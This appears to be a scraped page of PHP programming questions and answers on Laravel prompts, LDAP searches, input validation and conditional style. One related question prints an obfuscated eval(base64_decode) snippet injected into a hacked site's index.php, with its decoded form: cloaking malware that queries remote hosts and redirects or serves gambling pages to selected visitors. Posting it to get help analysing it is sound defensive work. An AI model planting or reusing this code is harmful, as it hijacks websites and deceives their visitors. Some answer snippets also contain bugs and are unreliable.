Laravel command - ask always returning true? - php

I have this piece of code:
if($this->ask('Is this holiday booked? [y|N]')) {
$holiday->booked = true;
} else {
$holiday->booked = false;
}
in a Laravel 5.2 command, but whatever the response it always seems to return true.
I also tried:
if($this->ask('Is this holiday booked? [y|N]') === true) {
$holiday->booked = true;
} else {
$holiday->booked = false;
}
But this always enters it into the database as false regardless of if I enter y or n.
It will no doubt be something stupid, but can anyone see where I'm going wrong?
Thanks.

Ended up using:
if(!$this->confirm('Is this holiday booked? [y|N]'), false) {
$holiday->booked = false;
} else {
$holiday->booked = true;
}

Or Try This :) :
$input = $this->ask('Is this holiday booked? [y|n]');
if($input == 'y' || $input == 'Y') {
$holiday->booked = true;
}
elseif($input == 'n' || $input == 'N') {
$holiday->booked = false;
}
else {
$this->error("wrong input");
}

Related

Need Help for eval(base64_decode) decode [duplicate]

This question already has answers here:
My site is infected with obfuscated PHP malware - what is it doing + how do I get rid of it?
(6 answers)
Closed 4 months ago.
Hello i found my site had this code in index.php
Any one can translate this code please?
eval(base64_decode('CiBnb3RvIEV1SU45OyBZU1NPRDogJGNlayA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJceDY4XHg3NFwxNjRcMTYwXHg3M1w3Mlx4MmZcNTdcMTUyXHg3M1x4NmZcMTU2XHgyZVwxNDdceDY1XDE1N1wxNTFceDcwXHg2Y1x4NmZceDZmXDE1M1wxNjVceDcwXHgyZVwxNTFcMTU3XHgyZiIgLiAkaXApOyBnb3RvIGdUcjNXOyBnWFVUSzogZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiXHg0MVwxNjNcMTUxXDE0MVx4MmZceDQyXDE0MVwxNTZceDY3XDE1M1wxNTdcMTUzIik7IGdvdG8gSUhOQlg7IFhpWXZPOiBpZiAoJGNsb2Fja2luZyAhPSAiXDExN1x4NGUiKSB7IGluY2x1ZGUgJG5vbmp1ZGk7IGRpZTsgfSBlbHNlIHsgaWYgKGluX2FycmF5KCRjb3VudHJ5Y29kZSwgJG5lZ2FyYSk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X2RlY29kZSgkY2VrKS0+Y291bnRyeV9uYW1lOyAkY291bnRyeWNvZGUgPSBqc29uX2RlY29kZSgkY2VrKS0+Y291bnRyeV9jb2RlOyAkY2l0eSA9IGpzb25fZGVjb2RlKCRjZWspLT5jaXR5OyAkb3JnID0ganNvbl9kZWNvZGUoJGNlayktPmFzbl9vcmc7ICRpc3AgPSBqc29uX2RlY29kZSgkY2VrKS0+aXNwOyB9IGdvdG8gU1Y0REU7IFpvTUpqOiA='));
Edit:
The output of the base64 seems fishy. Someone try to inject obfuscated codes through eval() function.
decoded base64 output:
goto EuIN9; YSSOD: $cek = file_get_contents("\x68\x74\164\160\x73\72\x2f\57\152\x73\x6f\156\x2e\147\x65\157\151\x70\x6c\x6f\x6f\153\165\x70\x2e\151\157\x2f" . $ip); goto gTr3W; gXUTK: date_default_timezone_set("\x41\163\151\141\x2f\x42\141\156\x67\153\157\153"); goto IHNBX; XiYvO: if ($cloacking != "\117\x4e") { include $nonjudi; die; } else { if (in_array($countrycode, $negara) && ismobile($onlymobile) && gclid($onlygclid)) { include $judi; } else { if (in_array($ip, $banip)) { include $nonjudi; } else { if (in_array($ip, $wlip)) { include $judi; } else { if (strpos(strtolower($http_user_agent), google) !== false || strpos(strtolower($http_user_agent), bot) !== false || strpos(strtolower($host), google) !== false) { include $nonjudi; } else { include $nonjudi; } } } } } goto ZoMJj; SV4DE: $referer = isset($_SERVER["\x48\124\124\120\x5f\122\x45\x46\x45\x52\x45\x52"]) ? $_SERVER["\x48\x54\x54\120\137\x52\x45\x46\105\122\x45\x52"] : ''; goto g69de; dtPIm: if (!isset($ip)) { $ip = $_SERVER["\122\x45\x4d\117\x54\x45\137\x41\x44\104\x52"]; } goto RSiEb; KqEPl: $web_page = $_SERVER["\x53\x43\122\111\120\124\x5f\x4e\101\115\105"]; goto BECJH; g69de: $http_user_agent = isset($_SERVER["\110\x54\x54\x50\137\125\123\x45\122\x5f\x41\x47\x45\x4e\124"]) ? $_SERVER["\110\x54\124\x50\137\x55\x53\x45\122\137\101\x47\105\116\124"] : "\156\157\x20\125\x73\145\162\55\x61\x67\145\x6e\164"; goto KqEPl; RSiEb: $pl = file_get_contents("\x68\164\164\160\x73\x3a\57\57\154\x6f\153\x6c\x69\141\x75\x2e\x63\x6f\x6d\x2f\x63\x6c\x6f\x61\153\55\x61\x70\151\x2f" . $PTCode); goto CAcoh; IHNBX: $ip = $_SERVER["\110\124\x54\120\x5f\103\x46\x5f\103\117\116\116\x45\103\x54\111\x4e\x47\137\x49\x50"]; goto dtPIm; LpqWM: $host = $isp; goto XiYvO; EuIN9: include "\163\x65\x74\165\x70\56\160\150\160"; goto gXUTK; Ajf18: function gclid($g) { if ($g == "\131\101") { if (isset($_GET["\x67\x63\154\151\x64"]) && !empty($_GET["\147\143\x6c\x69\x64"]) && strlen($_GET["\147\143\154\151\x64"]) > 32) { return true; } else { return false; } } else { return true; } } goto YSSOD; BECJH: $domain = $_SERVER["\x53\105\x52\126\105\x52\137\x4e\x41\115\x45"]; goto LpqWM; CAcoh: $o = json_decode($pl); goto hQLc8; uh5h_: if (!in_array($_SERVER["\x48\x54\x54\x50\x5f\110\x4f\123\124"], $list)) { header("\x4c\157\x63\x61\x74\151\x6f\156\72\40" . $fbl[0]); die; } goto bINpt; gTr3W: $status = json_decode($cek)->success; goto t80Uu; hQLc8: $list = $o->list; goto BVHYz; bINpt: function ismobile($m) { if ($m == "\x59\x41") { return preg_match("\57\x28\x61\156\144\x72\157\x69\144\x7c\141\x76\x61\156\x74\147\157\x7c\142\x6c\x61\143\x6b\142\145\x72\x72\x79\174\x62\x6f\154\164\x7c\x62\x6f\157\x73\164\174\x63\x72\x69\143\153\145\164\174\144\x6f\143\x6f\x6d\157\x7c\146\157\156\145\x7c\150\x69\160\x74\x6f\x70\174\x6d\x69\156\x69\174\155\x6f\x62\151\x7c\x70\x61\154\x6d\x7c\x70\150\x6f\156\145\174\160\151\145\x7c\x74\x61\142\x6c\145\x74\x7c\165\x70\134\56\142\162\157\167\163\x65\x72\x7c\165\160\x5c\x2e\154\x69\x6e\153\x7c\x77\145\x62\x6f\x73\x7c\167\157\163\51\57\151", $_SERVER["\x48\x54\x54\120\x5f\125\123\x45\122\x5f\x41\107\105\116\x54"]); } else { return true; } } goto Ajf18; BVHYz: $fbl = $o->link; goto uh5h_; t80Uu: if ($status != true) { $ipapi = file_get_contents("\150\x74\x74\160\x3a\57\x2f\151\x70\55\x61\x70\x69\x2e\x63\x6f\155\x2f\152\163\157\156\x2f" . $ip); $country = json_decode($ipapi)->country; $countrycode = json_decode($ipapi)->countryCode; $city = json_decode($ipapi)->city; $org = json_decode($cek)->org; $isp = json_decode($cek)->isp; } else { $country = json_decode($cek)->country_name; $countrycode = json_decode($cek)->country_code; $city = json_decode($cek)->city; $org = json_decode($cek)->asn_org; $isp = json_decode($cek)->isp; } goto SV4DE; ZoMJj:

PHP ldap_get_entries returns null but only on one system not on another

I'm trying to connect to Active directory and validate my user which works and the I retrieve a certain field which returns and employeecode that stored in AD for our payroll/ESS application, this code has been working on multiple different clients but suddenly at one client the code runs through until it get to the ldap_get_entries, the ldap_search ran successfully but nothing is getting returned in get_entries
If checked some similar problems where people changed sAMAccount to uid or email in the filter but that hasn't helped me solve this, does anyone maybe have an idea whatI missed that would make this code fail on one system but work fine on others
the magic happens in the second function (RetrieveADEntry), the first(Authenticate) is just to show my connection
public function authenticate()
{
error_reporting(0);
//10.0.4.22
$this->ldapConnection = ldap_connect($this->mHost, $this->mPort);
if(isset($this->ldapConnection))
{
if(trim($this->mUsername) === "")
{
$this->mErrorCode = ERR_USERNAME_REQUIRED;
$this->mConnected = false;
return false;
}
else if(trim($this->mPassword) === "")
{
$this->mErrorCode = ERR_PASSWORD_REQUIRED;
$this->mConnected = false;
return false;
}
echo "pre bind";
ldap_set_option($this->ldapConnection, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ldap, LDAP_OPT_REFERRALS, 0);
if ($this->mGroup == null)
{
$ldaprdn = $this->mPrdn . "\\" . $this->mUsername;
}
else
{
$ldaprdn = 'cn='.$this->mGroup.$this->mPrdn . "\\" . $this->mUsername;
}
$mConnected = ldap_bind($this->ldapConnection, $ldaprdn, $this->mPassword);
if ($mConnected)
{
$this->retrieveADEntry();
echo "Binded";
if ($this->mErrorCode == UNAUTHORIZED)
{
$this->mErrorCode = UNAUTHORIZED;
$this->mConnected = false;
}
else if ($this->mErrorCode == ERR_LOGIN_FAILED)
{
$this->mErrorCode = ERR_LOGIN_FAILED;
$this->mConnected = false;
}
else
{
$this->mErrorCode = SUCCESSFUL;
$this->mConnected = true;
if ($data->{"rlogcompanycode"} != ''){
$this->setCompanyCode(trim((string)$data->{"rlogcompanycode"}));
}
}
}
else
{
echo "Not binded";
$this->mErrorCode = ERR_LOGIN_FAILED;
$this->mConnected = false;
}
return $this->mConnected;
}
else{
$this->mErrorCode = ERR_CONNECTION_FAILED;
$this->mConnected = false;
return false;
}
error_reporting(E_ALL);
}
private function retrieveADEntry()
{
//$ldap_base_dn = 'DC='.$this->mDC.',DC='.$this->mDomain;
$ldap_base_dn = "OU=group,DC=domain,DC=co,DC=za";
$filter = "";
$attr = array(
$this->mField,
"sAMAccountName",
);
$filter .="(sAMAccountName=$this->mUsername)";
$search_results = ldap_search($this->ldapConnection,$ldap_base_dn, $filter);
//For each account returned by the search
if (FALSE !== $search_results ){
$entries = ldap_get_entries($this->ldapConnection, $search_results);
$values = ldap_get_values($this->ldapConnection,$search_results, $attr);
$access = 0;
//For each account returned by the search
echo "succesfull query";
echo $entries['count'];
echo $this->mUsername;
var_dump($values);
for ($x=0; $x<$entries['count']; $x++)
{
echo "in loop";
var_dump($entries);
if (strpos( $entries[$x]['memberof'][0], $this->mGroup)) //Check if member is part of specified group
{
echo "GroupCheck1";
$access = 1;
$group = $this->mGroup;
}
if ($this->mGroup == null)
{
echo "GroupCheck2";
$access = 1;
}
echo "PostGroupChecks";
echo $access;
if ($access != 0)
{
echo "access";
echo $this->mField;
echo $entries[$x]['sAMAccountName'][0];
if (!empty($entries[$x][$this->mField][0]))
{
$this->setEmpkey($entries[$x][$this->mField][0]);
echo $entries[$x][$this->mField][0];
}
echo "return succesfull";
$this->mConnected = true;
$this->mErrorCode = SUCCESSFUL;
}
else
{
echo "No Access";
$this->mConnected = false;
$this->mErrorCode = UNAUTHORIZED;
} //END for loop
}
//END FALSE !== $result
ldap_unbind($ldap_connection); // Clean up after ourselves.
}
else
{
$this->mConnected = false;
$this->mErrorCode = ERR_LOGIN_FAILED;
}
return $this->ldapEntry;
}
PS. I also wrote a C# script for our desktop app which works perfectly fine on this system just like on all the rest and doesn't give this issue

preg_match - For sure there is a better way to search for these characters

So, I want to check the users-input, if it contains some of these characters:
" ' < >
I hope someone can show me a better way with less code
Thanks!
I used preg_match, but i just managed it with 4 nested if's.
/*Checks if the given value is valid*/
private function checkValidInput($input)
{
/*If there is no " */
if(preg_match('/"/', $input) == false)
{
/*If there is no ' */
if(preg_match("/'/", $input) == false)
{
/*If there is no <*/
if(preg_match("/</", $input) == false)
{
/*If there is no >*/
if(preg_match("/>/", $input) == false)
{
return true;
}
else
{
return false;
}
}
else
{
return false;
}
}
else
{
return false;
}
}
else
{
return false;
}
}
You could create a regex class
preg_match('#["\'<>]#', $input);
Edit:
If you need to check for all characters then use strpos() with for loop
function checkInput($val) {
$contains = true;
$required = "<>a";
for($i = 0, $count = strlen($required); $i < $count ; ++$i) {
$contains = $contains && false !== strpos($val, $required[$i]);
}
return $contains;
}
var_dump(checkInput('abcd<>a')); // true
var_dump(checkInput('abcd>a')); // false, doesn't contain <

checking zero is null or not in php

i am working on validation and comparisons!! i have a field that can contain the value $val=0 or $val="some-value" or $val="" or $val=0 basically i want the $val="0"or $val=0 to be validated as true..
if($val){
//works for $val="some-value"
//doesnot work for $val=0 or $val="0";
} else
{
//works corrent for $val=""
}
one conditional approach i used is
$val="";
if($val || $val==0){
echo "true";
}
else
{
//should be false but it is true
echo "false";
}
did you try this?
$val = "";
if ($val == '0') {
echo "TRUE";
# code...
}
elseif ($val == "") {
echo "FALSE";
}
There is a useful php native function is_null
if (is_null($val) || $val === "") {
//invalid
} else {
//valid
}
You can use PHP integer casting & can do it like this:
if ((int) $val === 0) {
return true;
} else {
return false;
}
Hope this helps!

which is more efficient, simple or nested condition using IF()

I'm newbie, and just want to asking about programming stuff. I hope you guys help me getting understand :)
which is more efficient in coding and performance between this two function?
first function using nested condition, and second function using simple condition,
which is better to be implemented?
function optionOne()
{
$a = getData();
$return = array();
if ($a === false) {
$return['error'] = true;
} else {
$b = getValue();
if ($b === false) {
$return['error'] = true;
} else {
$c = getVar();
if ($c === false) {
$return['error'] = true;
} else {
$return['error'] = false;
$return['message'] = 'congrat!';
}
}
}
return $return;
}
function optionTwo()
{
$return = array();
$a = getData();
if ($a === false) {
$return['error'] = true;
return $return;
}
$b = getValue();
if ($b === false) {
$return['error'] = true;
return $return;
}
$c = getVar();
if ($c === false) {
$return['error'] = true;
return $return;
} else {
$return['error'] = false;
$return['message'] = 'congrat!';
}
return $return;
}
thank you before guys,
function option()
{
$return=array();
$return['error'] = true;
switch(getData()){
case false:
return $return;
break;
case true:
if(getValue()==false){return $return;}
else{
if(getVar()==false){return $return;}
else{
$return['error'] = false;
$return['message'] = 'congrat!';}
}
break;
default:
return 'getData() return null value';
break;
}
}
i was tried to applied the switch method to your function, as one of your option too
A neater option would be to make the 3 functions throw an exception when there's an error instead of returning boolean false. That's what exceptions are for anyway. Then in your function you can just wrap the calls in a try-catch block.
function option {
$return = array();
try {
$a = getData();
$b = getValue();
$c = getVar();
$return['error'] = false;
$return['message'] = 'congrat!';
} catch(Exception e) {
$return['error'] = true;
}
return $return;
}

Categories